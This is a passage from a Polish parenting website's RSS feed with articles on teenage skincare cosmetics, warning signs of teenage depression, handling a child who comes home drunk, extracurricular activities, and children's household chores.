<p>Artykuł <a href="http://www.dobryrodzic.pl/kosmetyki-ktore-warto-podsunac-nastolatkowi-czasem-sama-woda-juz-nie-wystarczy/">Kosmetyki, które warto podsunąć nastolatkowi. Czasem sama woda już nie wystarczy</a> pochodzi z serwisu <a href="http://www.dobryrodzic.pl">Dobryrodzic.pl</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div style="margin-bottom:20px;"><img width="900" height="600" src="http://www.dobryrodzic.pl/wp-content/uploads/2020/09/20200917122300_57e6d5454d54a914f6da8c7dda79367a1c36d8e35b556c48732f7bd7944acc5fbe_1280.jpg-e1600363567226.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" decoding="async" loading="lazy" /></div><p><span data-contrast="auto">Dzieci</span><span data-contrast="auto"> bardzo szybko dojrzewają, a ogromny wpływ na ich rozwój mają rodzice. Ważne jest jednak to, aby dostarczać nastolatkowi odpowiednich kosmetyków, których on sam nie b</span><span data-contrast="auto">ędzie w stanie sobie dobrać. Czasami może się okazać, że zwykła woda do umycia twarzy, ciała czy też włosów okaże się niewystarczająca i warto sięgnąć po specjalne kosmetyki, które są przeznaczone do pielęgnacji poszczególnych partii ciała. W takich przypa</span><span data-contrast="auto">dkach przyda się jednak pomoc osób dorosłych, aby nastolatek nie został ze swoim problemem sam na sam.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<h2><span data-contrast="auto">Kosmetyki dla nastolatków &#8211; co podsunąć dorastającym dzieciom?</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></h2>
<p><span data-contrast="auto">Istnieje </span><strong><span data-contrast="auto">wiele rodzajów kosmetyków dla nastolatków, które rodzice mogą podsunąć swoim dora</span></strong><strong><span data-contrast="auto">stającym dzieciom</span></strong><span data-contrast="auto"> praktycznie każdego dnia. Do najczęstszych wyborów należą:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<ul>
<li data-leveltext="" data-font="Symbol" data-listid="1" data-aria-posinset="1" data-aria-level="1"><span data-contrast="auto">dezodoranty,</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="" data-font="Symbol" data-listid="1" data-aria-posinset="2" data-aria-level="1"><span data-contrast="auto">antyperspiranty</span><span data-contrast="auto"> pod pachy,</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="" data-font="Symbol" data-listid="1" data-aria-posinset="3" data-aria-level="1"><span data-contrast="auto">serum do twarzy,</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="" data-font="Symbol" data-listid="1" data-aria-posinset="4" data-aria-level="1"><span data-contrast="auto">kremy do rąk i stóp,</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="" data-font="Symbol" data-listid="1" data-aria-posinset="5" data-aria-level="1"><span data-contrast="auto">balsamy do pielęgnacji ciała i twarzy,</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="" data-font="Symbol" data-listid="1" data-aria-posinset="1" data-aria-level="1"><span data-contrast="auto">szampony do włosów,</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="" data-font="Symbol" data-listid="1" data-aria-posinset="2" data-aria-level="1"><span data-contrast="auto">żele pod prysznic,</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="" data-font="Symbol" data-listid="1" data-aria-posinset="3" data-aria-level="1"><span data-contrast="auto">kosmetyki do cery trądzikowej.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ul>
<p><strong><span data-contrast="auto">Na</span></strong><strong><span data-contrast="auto">stolatkowie bardzo często używają jednego żelu do mycia całego ciała,</span></strong><strong><span data-contrast="auto"> a</span></strong><strong><span data-contrast="auto"> nawet i</span></strong><strong><span data-contrast="auto"> włosów czy twarzy</span></strong><span data-contrast="auto">. To niedopuszczalna sytuacja, ponieważ warto zadbać o własną skórę od samego początku</span><span data-contrast="auto">, a pomocni mogą być właśnie rodzice. Warto wybierać przede wszystkim </span><strong><span data-contrast="auto">kosmet</span></strong><strong><span data-contrast="auto">yki dedykowane do skóry trądzikowej, aby skutecznie zająć się jej pielęgnacją i usunąć z niej niedoskonałości</span></strong><span data-contrast="auto">. Przydatne mogą okazać się wtedy balsamy, kremy i toniki. Oczywiście warto dobierać je do wieku swojego dziecka i do typu skóry. Ostateczną decyzj</span><span data-contrast="auto">ę można przedyskutować z dermatologiem. Dzięki temu wyeliminuje się ryzyko popełnienia błędu i zadba się o skórę nastolatka. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<h2><span data-contrast="auto">Kosmetyki do cery trądzikowej &#8211; w jaki sposób mogą pomóc i jakie posiadają zalety?</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></h2>
<p><span data-contrast="auto">Regularne </span><strong><span data-contrast="auto">stosowanie kosmetyków do cery trądzik</span></strong><strong><span data-contrast="auto">owej jest strzałem w dziesiątkę</span></strong><span data-contrast="auto">, ponieważ w ten sposób </span><strong><span data-contrast="auto">skóra stanie się zadbana, nawilżona, elastyczna i gładka</span></strong><span data-contrast="auto">. Po pewnym czasie usunie się z niej również zmiany trądzikowe, chociaż w tym przypadku należy się przygotować na to, iż może to być </span><strong><span data-contrast="auto">proces dość </span></strong><strong><span data-contrast="auto">czasochłonny, poparty stosowaniem różnych maści i preparatów</span></strong><span data-contrast="auto">. Cera trądzikowa związana jest z częstym występowaniem czerwonych plamek, zaskórników czy też wyprysków. Można z nią nawiązać równorzędną walkę, jednak dopiero wtedy, gdy sięgnie się po odpowiedn</span><span data-contrast="auto">ie kosmetyki, a nastolatek nie posiada na ten temat wystarczającej wiedzy. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">W większości przypadków optymalnym rozwiązaniem</span><strong><span data-contrast="auto"> będą kremy i maści do cery trądzikowej</span></strong><span data-contrast="auto">, które cechują się </span><strong><span data-contrast="auto">ekologicznym składem i właściwościami nawilżającymi</span></strong><span data-contrast="auto">. Powinny być </span><span data-contrast="auto">stosowane</span><span data-contrast="auto"> codziennie, najlepiej tuż po przebudzeniu oraz przed snem, więc warto dopilnować swoje dorastające dziecko. Poza tym składniki zawarte w takich kosmetykach </span><strong><span data-contrast="auto">nie będą zatykać porów</span></strong><span data-contrast="auto"> </span><strong><span data-contrast="auto">i złuszczą martwy naskórek</span></strong><span data-contrast="auto">. Wyposażyć można się także w specjalne </span><strong><span data-contrast="auto">żele </span></strong><strong><span data-contrast="auto">antyt</span></strong><strong><span data-contrast="auto">rądzikowe</span></strong><strong><span data-contrast="auto"> do mycia twarzy, które powinien posiadać każdy nastolatek</span></strong><span data-contrast="auto">. Tak przeprowadzona pielęgnacja cery trądzikowej na pewno zakończy się spodziewanym sukcesem. Kosmetyki będą w stanie </span><strong><span data-contrast="auto">usunąć wszelkie przebarwienia i dokładnie oczyścić skórę, w której mog</span></strong><strong><span data-contrast="auto">ą się pojawić liczne bakterie i zanieczyszczenia</span></strong><span data-contrast="auto">. Pamiętajmy także o nawilżeniu skóry – to krok, którego nie należy pomijać. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p>Źródło:<br />
<a href="https://www.gdziepolek.pl/artykuly/pharmaceris-t-tradzik">Gdziepolek (https://www.gdziepolek.pl/artykuly/pharmaceris-t-tradzik)</a></p>
<p>Artykuł <a href="http://www.dobryrodzic.pl/kosmetyki-ktore-warto-podsunac-nastolatkowi-czasem-sama-woda-juz-nie-wystarczy/">Kosmetyki, które warto podsunąć nastolatkowi. Czasem sama woda już nie wystarczy</a> pochodzi z serwisu <a href="http://www.dobryrodzic.pl">Dobryrodzic.pl</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://www.dobryrodzic.pl/kosmetyki-ktore-warto-podsunac-nastolatkowi-czasem-sama-woda-juz-nie-wystarczy/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Co może świadczyć o depresji u nastolatka?</title>
		<link>http://www.dobryrodzic.pl/co-moze-swiadczyc-o-depresji-u-nastolatka/</link>
					<comments>http://www.dobryrodzic.pl/co-moze-swiadczyc-o-depresji-u-nastolatka/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sun, 02 Aug 2020 22:06:10 +0000</pubDate>
				<category><![CDATA[Nastolatek]]></category>
		<guid isPermaLink="false">http://www.dobryrodzic.pl/?p=228</guid>

					<description><![CDATA[<div style="margin-bottom:20px;"><img width="900" height="600" src="http://www.dobryrodzic.pl/wp-content/uploads/2020/08/5depresja-e1596405962405.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" decoding="async" loading="lazy" /></div>
<p>Okres nastoletni jest trudny zarówno dla młodzieży jak i rodziców. Zmiany hormonalne zachodzące w organizmie, okres buntu, chęć „wyszumienia” się, humory, wagary, niechęć do nauki czy pierwsze miłości. Takich elementów można wymienić bardzo wiele i wszystkie będą silnie połączone z wiekiem nastoletnim. Okazuje się jednak, że z punktu widzenia rodziców i innych opiekunów, w tym [&#8230;]</p>
<p>Artykuł <a href="http://www.dobryrodzic.pl/co-moze-swiadczyc-o-depresji-u-nastolatka/">Co może świadczyć o depresji u nastolatka?</a> pochodzi z serwisu <a href="http://www.dobryrodzic.pl">Dobryrodzic.pl</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div style="margin-bottom:20px;"><img width="900" height="600" src="http://www.dobryrodzic.pl/wp-content/uploads/2020/08/5depresja-e1596405962405.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" decoding="async" loading="lazy" /></div><p>Okres nastoletni jest trudny zarówno dla młodzieży jak i rodziców. Zmiany hormonalne zachodzące w organizmie, okres buntu, chęć „wyszumienia” się, humory, wagary, niechęć do nauki czy pierwsze miłości. Takich elementów można wymienić bardzo wiele i wszystkie będą silnie połączone z wiekiem nastoletnim.</p>
<p>Okazuje się jednak, że z punktu widzenia rodziców i innych opiekunów, w tym nauczycieli wiele zachowań i symptomów, jakie pojawiają się w zdrowej młodzieży mogłyby skłaniać do stwierdzenia depresji, choć w istocie tak nie jest. Na świecie coraz więcej młodzieży cierpi z powodu depresji. W USA kliniczną stwierdza się już w 20% nastolatków. Przedstawiamy objawy, na które warto zwrócić uwagę, gdyż mogą one świadczyć o tym, że dziecko istotnie zapadło na depresje.</p>
<p>1. <strong>Aktywności, które wcześniej były uwielbiane przestają interesować</strong> – mowa tu anhedonii, czyli braku możliwości przeżywania przyjemności. Zwykle każdy z nastolatków posiada hobby, któremu uwielbia poświęcać się z czasie wolnym. Gdy znika do niego cały zapał warto zwrócić uwagę czy nie dochodzi do rozwoju depresji.</p>
<p>2. <b>Częste złe dni i mało dobrych </b>– jako pierwszy nasuwa się smutek, jednak może występować również poirytowanie, zniecierpliwienie, gniew czy pobudzenie. Często pojawiające się tego rodzaju uczucia mogą również stanowić o wystąpieniu depresji.</p>
<p>3. <b>Zaniedbanie </b>– jeśli nastolatek cierpi na depresje to często wiąże się to jednocześnie z pogorszeniem ocen w szkole i większa ilością konfliktów i nieporozumień z rówieśnikami. S</p>
<p>4. <b>Potrzeba samotności </b>– ma ją każdy z nas od czasu do czasu, również nastolatek. Jednak gdy pojawia się depresja to chęć odizolowania się towarzyszy niemal bez przerwy, dziecko unika kontaktu z rówieśnikami, nie chce się z nikim widywać.</p>
<p>5. <b>Inaczej je </b>– co to dokładnie znaczy? U dziecka/ nastolatka chorego na depresje pojawia się problem z żywieniem, zmieniają się nawyki. Niektórzy próbują pocieszyć się jedzeniem, a inna grupa nie będzie miała siły na jego przyrządzenie lub zupełnie o nie nie dba.</p>
<p>6.<b> </b><b>Inaczej śpi</b> – często nastolatki z depresją uciekają w sen, aby poczuć chwilową ulgę. Jednak problemy ze snem mogą być również przyczyna samej depresji – jeśli dojdzie do bezsenności, to może ona silnie wpłynąć na psychikę.</p>
<p>7. <b>Ryzykowne zachowania –</b> niektóre dzieci w wieku nastoletnim się buntują, jednak istnieje również coś takiego jak zachowania wysokiego ryzyka, zaliczamy tu picie alkoholu, przyjmowanie narkotyków, a jednocześnie nie ma obaw o konsekwencje. Takie zachowania również mogą świadczyć o depresji.</p>
<p>8. <b>Nienawiść do siebie</b> – niezadowolenie z siebie, kompleksy to normalne u nastolatków, jednak pojawienie się nienawiści do samego siebie i poczucia beznadziejności może już świadczyć o depresji.</p>
<p>9. <b>Głosy </b>– niektóre dzieci słyszą głosy lub rozmawiają z wyimaginowanymi postaciami. Takie zachowanie może świadczyć o depresji lub innych zaburzeniach natury psychicznej.</p>
<p>Warto obserwować swoje dziecko w wieku nastoletnim i nie tylko w w razie konieczności zadbać, aby trafiło pod opiekę odpowiedniego specjalisty z doświadczeniem i wiedzą w temacie leczenia depresji u młodzieży.</p>
<p>Artykuł <a href="http://www.dobryrodzic.pl/co-moze-swiadczyc-o-depresji-u-nastolatka/">Co może świadczyć o depresji u nastolatka?</a> pochodzi z serwisu <a href="http://www.dobryrodzic.pl">Dobryrodzic.pl</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://www.dobryrodzic.pl/co-moze-swiadczyc-o-depresji-u-nastolatka/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Co zrobić gdy dziecko wróci do domu po alkoholu?</title>
		<link>http://www.dobryrodzic.pl/co-zrobic-gdy-dziecko-wroci-do-domu-po-alkoholu/</link>
					<comments>http://www.dobryrodzic.pl/co-zrobic-gdy-dziecko-wroci-do-domu-po-alkoholu/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sun, 02 Aug 2020 22:05:01 +0000</pubDate>
				<category><![CDATA[Nastolatek]]></category>
		<guid isPermaLink="false">http://www.dobryrodzic.pl/?p=225</guid>

					<description><![CDATA[<div style="margin-bottom:20px;"><img width="900" height="677" src="http://www.dobryrodzic.pl/wp-content/uploads/2020/08/4alkohol-e1596405827488.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" decoding="async" loading="lazy" /></div>
<p>Wielu rodziców stara się odsuwać od siebie perspektywę tego, że ich dzieci zaczną kosztować dorosłości i tym samym wracać do domu pod wpływem alkoholu. Wydaje nam się naiwnie, że poczekają do 18, jednak prawda wygląda tak, że pierwsze eksperymenty związane z alkoholem mają miejsce już około 13-14 roku życia, czyli po obecnej zmianie systemu nauczania [&#8230;]</p>
<p>Artykuł <a href="http://www.dobryrodzic.pl/co-zrobic-gdy-dziecko-wroci-do-domu-po-alkoholu/">Co zrobić gdy dziecko wróci do domu po alkoholu?</a> pochodzi z serwisu <a href="http://www.dobryrodzic.pl">Dobryrodzic.pl</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div style="margin-bottom:20px;"><img width="900" height="677" src="http://www.dobryrodzic.pl/wp-content/uploads/2020/08/4alkohol-e1596405827488.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" decoding="async" loading="lazy" /></div><p>Wielu rodziców stara się odsuwać od siebie perspektywę tego, że ich dzieci zaczną kosztować dorosłości i tym samym wracać do domu pod wpływem alkoholu. Wydaje nam się naiwnie, że poczekają do 18, jednak prawda wygląda tak, że pierwsze eksperymenty związane z alkoholem mają miejsce już około 13-14 roku życia, czyli po obecnej zmianie systemu nauczania w Polsce, pod koniec podstawówki. Oczywiście obowiązuje zakaz sprzedaży takich wyrobów nieletnim, jednak w większości przypadków nie pojawiają się u nich najmniejsze problemy ze zdobyciem dokładnie tego, na czym im zależy. Jak jest powinniśmy się zachować, gdy nasze dziecko wróci do domu w stanie wskazującym?</p>
<h3>Po powrocie do domu</h3>
<p>W momencie powrotu do domu, rozmowa nie będzie miała najmniejszego sensu. Po pierwsze my będziemy zdenerwowali i pod wpływem emocji, a wtedy trudniej o logiczne argumenty. Po drugie nasze dziecko będzie pod wpływem alkoholu więc rozmowa z nim będzie bez sensu. W takiej sytuacji najlepszym i najbardziej rozsądnym rozwiązaniem jest wysłanie do do łóżka, aby się przespał. Pamiętajmy jednak, aby upewnić się, że nic nie zagraża jego życiu ani zdrowiu.</p>
<h3>Kac i obojętność</h3>
<p>Gdy następnego dnia zbyt duża dawka alkoholu będzie silnie odczuwalna nie powinniśmy robić nic. Nie sprawdzi się krzyczenie, opiekowanie się i żałowanie. W tym czasie nie próbujmy ulżyć mu w cierpieniach. Nasze dziecko musi się na własnej skórze przekonać co robi z nim alkohol i jak ciężko dochodzi się do siebie. Najlepiej wyjdźmy do pracy lub znajomych, niech sam zrobi sobie herbatę, weźmie tabletkę przeciwbólową, zrobi posiłek.</p>
<h3>Kac – rozmowa nie, ale kara tak</h3>
<p>Gdy na drugi dzień nasza pociecha leczy kaca, to rozmowa mogłaby być trudna. Nie jest to na nią odpowiedni czas. Możemy jednak wymagać wykonania obowiązków domowych. Kazać odkurzyć, skosić trawnik czy wykonać inne porządki lub prace ogrodowe. Z pewnością dzięki wysiłkowi jeszcze silniej zapamięta konsekwencje swojego wybryku. Praca nie będzie łatwa, ani przyjemna, ale paradoksalnie pomoże znaczenie szybciej dojść do siebie.</p>
<h3>Rozmowa</h3>
<p>Gdy nasz nastolatek już dojdzie do siebie i będzie normalnie myślał, pojawia się czas na zdecydowanie najtrudniejszą i najważniejszą część czyli na rozmowę. Istotne jest abyśmy postarali się być spokojni. Nie warto krzyczeć na dziecko, gdyż doprowadzi to zapewne do awantury, która z kolei niczego nie wskóra.</p>
<p>W pierwszej kolejności warto uzyskać jak najwięcej informacji. Po pierwsze skąd nasze dziecko wzięło alkohol, po drugie z kim je spożywało. Warto wiedzieć, w jakim towarzystwie obraca się nasze dziecko, gdyż będzie ono miało silny wpływ na jego zachowanie.</p>
<p>Kolejnym etapem jest uzyskanie informacji odnośnie przyczyny sięgania po alkohol. Zwykle na początku wynika to z chęci zaspokojenia ciekawości i to nie jest takie straszne. Jeśli jednak okaże się, że nasze dziecko szukało sposobu być być bardziej odważnym lub topiło smutki, to warto dalej prowadzić rozmowę, wytłumaczyć, ze alkohol nigdy nie jest dobrym rozwiązaniem. Spróbować się dowiedzieć co się dzieje zaproponować pomoc z naszej strony. W takiej sytuacji czasem warto się nieco otworzyć i opowiedzieć o jakiejś sytuacji z naszego młodzieńczego życia, może analogicznej, młody człowiek może poczuć się bezpieczniej i łatwiej będzie mu opowiedzieć o sobie.</p>
<p>Na koniec warto dowiedzieć się czy nastolatek wyniósł konsekwencje ze swojego zachowania czy planuje powtórki. Jeśli udało nam się w miarę spokojnie, bez kłótni i awantur,to możemy być zadowoleni, może uda się jednocześnie wypracować jeszcze większe zaufanie i otwartość między nami a nastolatkiem, co nie jest łatwe.</p>
<p>Po kilku dniach można zachęcić dziecko do obejrzenia ciekawego filmu o uzależnieniu od alkoholu i związanych z tym konsekwencjach. Czasem znamy sytuacje z własnego otoczenia, które można dokładniej naświetlić.</p>
<p>Artykuł <a href="http://www.dobryrodzic.pl/co-zrobic-gdy-dziecko-wroci-do-domu-po-alkoholu/">Co zrobić gdy dziecko wróci do domu po alkoholu?</a> pochodzi z serwisu <a href="http://www.dobryrodzic.pl">Dobryrodzic.pl</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://www.dobryrodzic.pl/co-zrobic-gdy-dziecko-wroci-do-domu-po-alkoholu/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Zajęcia dodatkowe dla dzieci &#8211; kiedy zacząć? Czy są potrzebne czy zabierają dzieciństwo?</title>
		<link>http://www.dobryrodzic.pl/zajecia-dodatkowe-dla-dzieci-kiedy-zaczac-czy-sa-potrzebne-czy-zabieraja-dziecinstwo/</link>
					<comments>http://www.dobryrodzic.pl/zajecia-dodatkowe-dla-dzieci-kiedy-zaczac-czy-sa-potrzebne-czy-zabieraja-dziecinstwo/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sat, 18 Jul 2020 22:57:08 +0000</pubDate>
				<category><![CDATA[Nastolatek]]></category>
		<category><![CDATA[Przedszkolak]]></category>
		<guid isPermaLink="false">http://www.dobryrodzic.pl/?p=161</guid>

					<description><![CDATA[<div style="margin-bottom:20px;"><img width="900" height="600" src="http://www.dobryrodzic.pl/wp-content/uploads/2020/07/zajecia-dodatkowe-e1595113019360.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" decoding="async" loading="lazy" /></div>
<p>W dzisiejszych, trudnych i wymagających czasach modne stało się wysyłanie dzieci na całą masę zajęć dodatkowych. Z pewnością ich obecna różnorodność pozwala na rozwijanie zainteresowań i umiejętności już od wczesnych lat dzieciństwa. Jednak pomimo iż chcemy dobrze dla swoich pociech, to pośród zajęć dodatkowych czai się wiele zagrożeń i pułapek, w które niezwykle łatwo wpaść. [&#8230;]</p>
<p>Artykuł <a href="http://www.dobryrodzic.pl/zajecia-dodatkowe-dla-dzieci-kiedy-zaczac-czy-sa-potrzebne-czy-zabieraja-dziecinstwo/">Zajęcia dodatkowe dla dzieci &#8211; kiedy zacząć? Czy są potrzebne czy zabierają dzieciństwo?</a> pochodzi z serwisu <a href="http://www.dobryrodzic.pl">Dobryrodzic.pl</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div style="margin-bottom:20px;"><img width="900" height="600" src="http://www.dobryrodzic.pl/wp-content/uploads/2020/07/zajecia-dodatkowe-e1595113019360.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" decoding="async" loading="lazy" /></div><p>W dzisiejszych, trudnych i wymagających czasach modne stało się wysyłanie dzieci na całą masę zajęć dodatkowych. Z pewnością ich obecna różnorodność pozwala na rozwijanie zainteresowań i umiejętności już od wczesnych lat dzieciństwa. Jednak pomimo iż chcemy dobrze dla swoich pociech, to pośród zajęć dodatkowych czai się wiele zagrożeń i pułapek, w które niezwykle łatwo wpaść. Jak więc wybrać odpowiednie zajęcia dodatkowe dla naszego dziecko i kiedy się na nie zdecydować?</p>
<h3>Indywidualny rozwój</h3>
<p>Fakt, że każde dziecko jest inne dostrzegamy już na etapie niemowlęctwa, gdy zdobywają pierwsze umiejętności. Jedno usiądzie lub wstanie wcześniej, a inne później. Podobnie wygląda sytuacja z chodzeniem i nie ma w tym absolutnie nic dziwnego. W związku z tym czas pojawienia się zajęć dodatkowych i ich rodzaj powinniśmy w głównej mierze dobierać do możliwości i potrzeb naszego dziecka.</p>
<h3>Przerzucanie własnych niespełnionych marzeń na dziecko</h3>
<p>Niestety dość często praktyką jest zapisywanie dziecka na zajęcia, na jakie my chcieliśmy chodzić w dzieciństwie, ale z różnych powodów tak się nie stało. Chcemy żeby zrobiło coś co nam się nie udało, spełniło nasze marzenia. Nie zwracamy przy tym uwagi na jego indywidualizm i zainteresowania. Przykładowo nasze dziecko może nie mieć absolutnie zdolności do tańca czy nawet poczucia rytmu, podczas gdy my zapiszemy je na tańce. Może się okazać, że jeśli go posłuchamy i poobserwujemy dostrzeżemy zupełnie inny sport, który przychodzi mu łatwo i za którym przepada.</p>
<h3>Zbyt duża ilość zajęć</h3>
<p>Niektórym rodzicom wydaje się, że jeśli dziecko ma dużo energii to trzeba ją konstruktywnie wykorzystać i tak planują tydzień, że każdego dnia po przedszkolu czy szkole dziecko biegnie na inne zajęcia dodatkowe, z których oczywiście nie wszystkie mu się podobają. Tymczasem dla dziecka niezwykle ważna również jest nuda i czas na beztroską, nieobarczoną obowiązkami zabawę. Nadmiar obowiązków może okazać się przytłaczający. W konsekwencji mogą pojawiać się różne problemy wychowawcze, trudności z zasypianiem czy zniecierpliwienie.</p>
<h3>Kiedy na pierwsze zajęcia?</h3>
<p>Jest to kwestia niezwykle indywidualna. Niektóre dzieci od najmłodszych lat uwielbiają uczyć się pisać i czytać, a także uczyć różnych rzeczy. Dla nich często wyjątkowo korzystne okazują się lekcje języków, bo w tym wieku świetnie przyswoją wszelkie zasady i zasób słownictwa. Jeśli mamy w domu wulkan energii może się okazać, że najlepszym rozwiązaniem będą zajęcia sportowe, jednak również nie pierwsze lepsze. Warto spróbować różnych zajęć próbnych, często są one bezpłatne i dziecko samo powie nam co podoba mu się najbardziej. Jeśli na takie zajęcia się zdecydujemy będzie chodzić na nie z przyjemnością, świetnie się bawić i rozwijać.</p>
<p>Na niektóre zajęcia przyjdzie czas dopiero w szkole, inne można rozpocząć już na etapie przedszkola, jednak przede wszystkim skupmy się na słuchaniu własnego dziecka, zapewnijmy mu możliwie jak najbardziej wszechstronny rozwój, ale nie na siłę, bo nie będzie dobre we wszystkim, a przy mniejszej ilości zajęć łatwiej będzie odnaleźć pasję i skupić się na jej rozwijaniu i odniesieniu w konkretnej dziedzinie sukcesu w przyszłości.</p>
<p>Artykuł <a href="http://www.dobryrodzic.pl/zajecia-dodatkowe-dla-dzieci-kiedy-zaczac-czy-sa-potrzebne-czy-zabieraja-dziecinstwo/">Zajęcia dodatkowe dla dzieci &#8211; kiedy zacząć? Czy są potrzebne czy zabierają dzieciństwo?</a> pochodzi z serwisu <a href="http://www.dobryrodzic.pl">Dobryrodzic.pl</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://www.dobryrodzic.pl/zajecia-dodatkowe-dla-dzieci-kiedy-zaczac-czy-sa-potrzebne-czy-zabieraja-dziecinstwo/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Dzieci i obowiązki</title>
		<link>http://www.dobryrodzic.pl/dzieci-i-obowiazki/</link>
					<comments>http://www.dobryrodzic.pl/dzieci-i-obowiazki/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sat, 18 Jul 2020 22:18:27 +0000</pubDate>
				<category><![CDATA[Małe dziecko]]></category>
		<category><![CDATA[Nastolatek]]></category>
		<guid isPermaLink="false">http://www.dobryrodzic.pl/?p=146</guid>

					<description><![CDATA[<div style="margin-bottom:20px;"><img width="900" height="600" src="http://www.dobryrodzic.pl/wp-content/uploads/2020/07/obowiazki-e1595110698969.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" decoding="async" loading="lazy" /></div>
<p>Obowiązki są nieodłączną częścią dzieciństwa i wieku młodzieńczego. Oczywiście nie jest to nigdy ulubiona część dnia, ani taka, do której chętnie się szczególnie najmłodsi zabierają, jednak z pewnością warto uczyć porządku i wykonywania określonych obowiązków od najmłodszych lat. Wielu rodziców jednak bardzo długo wyręcza swoje dzieci w najprostszych rzeczach, twierdząc że zależy im na szczęśliwym [&#8230;]</p>
<p>Artykuł <a href="http://www.dobryrodzic.pl/dzieci-i-obowiazki/">Dzieci i obowiązki</a> pochodzi z serwisu <a href="http://www.dobryrodzic.pl">Dobryrodzic.pl</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div style="margin-bottom:20px;"><img width="900" height="600" src="http://www.dobryrodzic.pl/wp-content/uploads/2020/07/obowiazki-e1595110698969.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" decoding="async" loading="lazy" /></div><p>Obowiązki są nieodłączną częścią dzieciństwa i wieku młodzieńczego. Oczywiście nie jest to nigdy ulubiona część dnia, ani taka, do której chętnie się szczególnie najmłodsi zabierają, jednak z pewnością warto uczyć porządku i wykonywania określonych obowiązków od najmłodszych lat. Wielu rodziców jednak bardzo długo wyręcza swoje dzieci w najprostszych rzeczach, twierdząc że zależy im na szczęśliwym i beztroskim dzieciństwie. Czy rzeczywiście takie będzie, czy wychowamy próżnego i egoistycznego człowieka, który nie będzie potrafił nic zrobić?</p>
<h3>Obowiązki dla malucha</h3>
<p>Dziecko nawet już bardzo mała jest w stanie sprzątnąć swoje zabawki. Czemu nie określam dokładnie wieku? Bo dużo zależy od rodziców. Przykładowo 8-9 miesięczny maluch, który nie potrafi chodzić a jedynie siedzi już może być uczony sprzątania po zabawie. Stawiamy obok niego pojemnik na zabawki i wspólnie je wrzucamy do środka. Będzie to forma zabawy, ale pouczająca.</p>
<p>Dziecko 2-3 letnie z powodzeniem pozbiera zabawki po skończonej zabawie. Natomiast 4-5 latek jest w stanie pomóc w kolejnych obowiązkach np. zamiatanie, zdejmowanie prania – bo odpinanie klamerek może być ciekawą zabawą jeśli nie są za wysoko.</p>
<h3>Dziecko w wieku szkolnym</h3>
<p>Dziecko w wieku szkolnym powinno otrzymać już pierwsze poważniejsze obowiązki w domu. Jeśli poćwiczy poradzi sobie z odkurzaczem lub czyszczeniem kuwety kota lub klatki gryzonia. Może również ścierać kurze i utrzymywać porządek we własnych rzeczach. 7-8 latek jest już w stanie pozmywać naczynia.</p>
<h3>Czemu warto dawać obowiązki?</h3>
